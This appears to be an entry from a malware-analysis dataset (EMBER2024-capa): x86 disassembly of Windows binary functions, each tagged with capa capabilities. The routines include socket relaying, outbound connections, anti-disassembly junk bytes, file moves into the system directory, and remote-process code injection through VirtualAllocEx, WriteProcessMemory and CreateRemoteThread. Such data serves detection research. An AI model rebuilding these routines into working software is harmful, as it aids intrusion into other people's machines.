joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000cc00
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000cc17
push ebp
adc byte [ecx], 0x58
pop eax
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
lea ecx, [ebp - 8]
push ecx
push 0x1000
mov edx, dword [ebp - 4]
push edx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x1000cc8b
mov dword [ebp - 0xc], 0
jmp 0x1000cc5d
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 8]
jae 0x1000cc8b
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov ecx, dword [eax + edx*4]
cmp ecx, dword [ebp + 8]
jne 0x1000cc89
mov edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
jmp 0x1000cca2
jmp 0x1000cc54
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000cde0
Capabilities:
Check if file exists
Create thread
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000cdfa
push ebp
adc byte [ecx], 0x58
pop eax
push 0xffffffffffffffff
mov eax, dword [0x100125e4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0
push 0x100092b0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov dword [ebp - 4], 0
push 4
lea ecx, [ebp - 4]
push ecx
push 0x10014062
call fcn.10009b80
add esp, 0xc
test eax, eax
je 0x1000ce53
cmp dword [ebp - 4], 0
je 0x1000ce53
mov edx, dword [ebp - 4]
push edx
push 0
push 0x1000c2b0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
push 0x10013c22
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1000ce8e
push 0x10013c22
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000ce8e
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.10009630
cmp eax, 1
jg 0x1000cf57
mov byte [ebp - 0x208], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xff
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.gdiplus.dll
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000ceed
jmp 0x1000cf57
push 0
push 0x1f4c
call fcn.1000e450
add esp, 8
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
je 0x1000cf25
lea edx, [ebp - 0x208]
push edx
mov eax, dword [ebp - 0x20c]
push eax
call fcn.1000eb70
add esp, 8
test eax, eax
jne 0x1000cf4a
mov ecx, dword [ebp - 0x20c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [0x10013824]
imul edx, edx, 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000ce8e
mov eax, dword [ebp - 0x20c]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 1
test ecx, ecx
je 0x1000cff8
mov edx, dword [0x10013830]
push edx
push 0x1f40
call fcn.1000e450
add esp, 8
mov dword [0x1001416c], eax
cmp dword [0x1001416c], 0
je 0x1000cfe0
cmp dword [0x10014164], 0
je 0x1000cfa1
push 0
push 0
push 0x100092b0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov eax, dword [0x1001416c]
push eax
call fcn.1000c850
add esp, 4
mov dword [ebp - 0x210], eax
mov ecx, dword [0x1001416c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [0x10014168], 0
jne 0x1000cfd4
cmp dword [ebp - 0x210], 2
jne 0x1000cfe0
mov dword [0x10014168], 1
jmp 0x1000cff8
mov edx, dword [0x10013824]
imul edx, edx, 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000cf57
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000da20
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000da3a
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [ebp - 0x118], 0x20000
mov eax, dword [ebp - 0x118]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x120]
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x100]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x10c], 0
xor edx, edx
mov dword [ebp - 0x108], edx
mov dword [ebp - 0x10c], 0x15180
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x110], 0
mov eax, 1
test eax, eax
je 0x1000dbbf
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x11c], 0
jmp 0x1000dae1
mov ecx, dword [ebp - 0x11c]
add ecx, 1
mov dword [ebp - 0x11c], ecx
mov edx, dword [ebp - 0x11c]
cmp edx, dword [ebp - 0x104]
jae 0x1000db05
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp + eax*4 - 0x100]
cmp ecx, dword [ebp + 0xc]
jne 0x1000db03
jmp 0x1000db05
jmp 0x1000dad2
mov edx, dword [ebp - 0x11c]
cmp edx, dword [ebp - 0x104]
jne 0x1000db3b
cmp dword [ebp - 0x104], 0x40
jae 0x1000db3b
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp + 0xc]
mov dword [ebp + eax*4 - 0x100], ecx
mov edx, dword [ebp - 0x104]
add edx, 1
mov dword [ebp - 0x104], edx
xor eax, eax
test eax, eax
jne 0x1000dac6
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
lea edx, [ebp - 0x104]
push edx
mov eax, dword [ebp + 0xc]
add eax, 1
push eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x1000db66
jmp 0x1000dbbf
push 0
mov ecx, dword [ebp - 0x118]
push ecx
mov edx, dword [ebp - 0x114]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jg 0x1000db91
jmp 0x1000dbbf
mov ecx, dword [ebp - 0x114]
add ecx, dword [ebp - 0x110]
mov byte [ecx], 0
push 0
mov edx, dword [ebp - 0x110]
push edx
mov eax, dword [ebp - 0x114]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x1000daaf
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x124]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000dc00
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000dc17
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [ebp - 8], 0x5265c00
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 0x18], 2
mov cx, word [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x1000dc5e
xor eax, eax
jmp 0x1000dd00
push 0x10
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x1000dc81
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000dd00
push 4
lea edx, [ebp - 8]
push edx
push 0x1005
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x1000dcae
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000dd00
push 4
lea edx, [ebp - 8]
push edx
push 0x1006
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x1000dcdb
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000dd00
push accept
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x1000dcfd
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000dd00
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000e250
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000e26a
push ebp
adc byte [ecx], 0x58
pop eax
mov word [ebp - 0x10], 0
xor eax, eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov dword [ebp - 0x18], 0x10
mov dword [ebp - 0x124], 0
mov byte [ebp - 0x11c], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x11b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x1000e360
lea ecx, [ebp - 0x11c]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
jne 0x1000e2f8
xor eax, eax
jmp 0x1000e447
mov word [ebp - 0x134], 0
xor edx, edx
mov dword [ebp - 0x132], edx
mov dword [ebp - 0x12e], edx
mov dword [ebp - 0x12a], edx
mov word [ebp - 0x126], dx
mov eax, dword [ebp - 0x138]
movsx ecx, word [eax + 0xa]
mov edx, dword [ebp - 0x138]
mov eax, dword [edx + 0xc]
mov esi, dword [eax]
lea edi, [ebp - 0x130]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x130]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
mov ax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], 2
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0
ja 0x1000e3a7
xor eax, eax
jmp 0x1000e447
mov ecx, dword [ebp - 0x18]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000e3d2
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000e447
mov dword [ebp - 0x120], 1
push 4
lea edx, [ebp - 0x120]
push edx
push 1
push 6
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x1000e40b
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000e447
mov dword [ebp - 0x14], 1
push 4
lea edx, [ebp - 0x14]
push edx
push 8
push 0xffff
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x1000e441
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000e447
mov eax, dword [ebp - 0x124]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000e640
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000e65a
push ebp
adc byte [ecx], 0x58
pop eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov dword [ebp - 0x118], 0
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x104]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x110], 0
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x110], 0x2dc6c0
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp + 0x10]
jge 0x1000e7d7
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x120], 0
jmp 0x1000e6f1
mov ecx, dword [ebp - 0x120]
add ecx, 1
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x120]
cmp edx, dword [ebp - 0x108]
jae 0x1000e715
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp + eax*4 - 0x104]
cmp ecx, dword [ebp + 8]
jne 0x1000e713
jmp 0x1000e715
jmp 0x1000e6e2
mov edx, dword [ebp - 0x120]
cmp edx, dword [ebp - 0x108]
jne 0x1000e74b
cmp dword [ebp - 0x108], 0x40
jae 0x1000e74b
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x104], ecx
mov edx, dword [ebp - 0x108]
add edx, 1
mov dword [ebp - 0x108], edx
xor eax, eax
test eax, eax
jne 0x1000e6d6
lea ecx, [ebp - 0x110]
push ecx
push 0
lea edx, [ebp - 0x108]
push edx
push 0
mov eax, dword [ebp + 8]
add eax, 1
push eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x1000e778
xor eax, eax
jmp 0x1000e7dc
push 0
mov ecx, dword [ebp - 0x11c]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jg 0x1000e7a2
xor eax, eax
jmp 0x1000e7dc
mov ecx, dword [ebp - 0x118]
add ecx, dword [ebp - 0x114]
mov dword [ebp - 0x118], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x114]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x11c]
sub eax, dword [ebp - 0x114]
mov dword [ebp - 0x11c], eax
jmp 0x1000e6bd
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000e7f0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000e80a
push ebp
adc byte [ecx], 0x58
pop eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov dword [ebp - 0x118], 0
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x104]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x110], 0
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x110], 0x2dc6c0
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp + 0x10]
jge 0x1000e987
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x120], 0
jmp 0x1000e8a1
mov ecx, dword [ebp - 0x120]
add ecx, 1
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x120]
cmp edx, dword [ebp - 0x108]
jae 0x1000e8c5
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp + eax*4 - 0x104]
cmp ecx, dword [ebp + 8]
jne 0x1000e8c3
jmp 0x1000e8c5
jmp 0x1000e892
mov edx, dword [ebp - 0x120]
cmp edx, dword [ebp - 0x108]
jne 0x1000e8fb
cmp dword [ebp - 0x108], 0x40
jae 0x1000e8fb
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x104], ecx
mov edx, dword [ebp - 0x108]
add edx, 1
mov dword [ebp - 0x108], edx
xor eax, eax
test eax, eax
jne 0x1000e886
lea ecx, [ebp - 0x110]
push ecx
push 0
push 0
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp + 8]
add eax, 1
push eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x1000e928
xor eax, eax
jmp 0x1000e98c
push 0
mov ecx, dword [ebp - 0x11c]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jg 0x1000e952
xor eax, eax
jmp 0x1000e98c
mov ecx, dword [ebp - 0x118]
add ecx, dword [ebp - 0x114]
mov dword [ebp - 0x118], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x114]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x11c]
sub eax, dword [ebp - 0x114]
mov dword [ebp - 0x11c], eax
jmp 0x1000e86d
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000eb70
Capabilities:
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000eb8a
push ebp
adc byte [ecx], 0x58
pop eax
mov byte [ebp - 0x200], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x1ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xff
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x10012390
lea ecx, [ebp - 0x200]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x200]
push eax
call fcn.1000e9a0
add esp, 8
test eax, eax
jne 0x1000ebe3
xor eax, eax
jmp 0x1000ebf9
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x200]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40961c
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov ebx, 0x4feb98
cmp dword [ebp + 0xc], 2
jl 0x409630
mov ebx, 0x4febc8
mov esi, ebx
lea edi, [ebp - 0x40]
mov ecx, 0xc
rep movsd dword es:[edi], dword [esi]
pop dword [ebx + 0x20]
pop dword [ebx + 0x1c]
pop dword [ebx + 0x18]
mov dword [ebx + 0x14], ebp
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], edx
lea ecx, [ebp - 0x40]
mov dword [ebx], ecx
call sub.kernel32.dll_GetCurrentThreadId
mov dword [ebx + 0x2c], eax
mov eax, dword [ebx + 8]
xor ecx, ecx
cmp dword [ebp + 0xc], 0
jne 0x409668
mov ecx, dword [eax]
mov dword [ebx + 0xc], ecx
mov eax, 0x4050ec
mov dword [0x4fc01c], eax
mov eax, 0x4050f4
mov dword [0x4fc020], eax
mov eax, ebx
call fcn.00409500
mov eax, dword [ebp + 0xc]
inc eax
mov byte [ebx + 0x28], al
dec eax
pop ecx
mov edx, dword [ecx]
mov dword [ebx + 0x24], edx
je 0x40969d
cmp al, 3
jge 0x40969d
call dword [ecx + eax*4]
push ecx
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x4096ae
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
call ecx
pop ecx
mov eax, dword [ebp + 0xc]
cmp al, 3
jl 0x4096b9
call dword [ecx + eax*4]
cmp dword [0x4fc040], 0
jne 0x4096cf
mov byte [0x4fc048], 1
fnstcw word [0x4f7028]
mov eax, dword [ebp + 0xc]
dec eax
jne fcn.00409968
call fcn.004095b0
ret 4

Function at 0x4098d0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4fc058], 0
je 0x409937
cmp word [0x4fc344], 0xd7b2
jne 0x4098f9
cmp dword [0x4fc34c], 0
jbe 0x4098f9
mov eax, 0x4fc340
call dword [0x4fc35c]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push 0x4f79d1
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x409964
call fcn.0040a428
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4f7032], 0
jne 0x409953
push 0
push 0x4f79cb
push 0x4f79d1
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x409af8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x4f7034], 0
je 0x409b23
mov edx, edi
mov eax, esi
call dword [0x4f7034]
mov ebx, eax
jmp 0x409b34
mov eax, 8
call fcn.00406e2c
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x4fc059], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x409ac0
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x409b64
mov eax, ebx
call fcn.00406e48
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc
Function at 0x4129c8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebp, edx
mov esi, eax
mov eax, ebp
call fcn.0040a108
mov ebx, eax
inc ebx
push 0x40
push 0x3000
push ebx
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [esp + 4]
push eax
push 0x40
push ebx
push edi
push esi
call sub.kernel32.dll_VirtualProtectEx
push esp
push ebx
push ebp
push edi
push esi
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x412a14
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
push esp
push esi
push ebp
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x412a44
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00412a14
mov esi, eax
mov eax, edi
call fcn.004129a4
mov ecx, eax
mov edx, edi
mov eax, ebx
call fcn.00412a14
lea edx, [ebp - 0xc]
push edx
push 0
push esi
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
cmp byte [ebp + 8], 0
je 0x412aaa
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push ebx
call sub.kernel32.dll_ReadProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8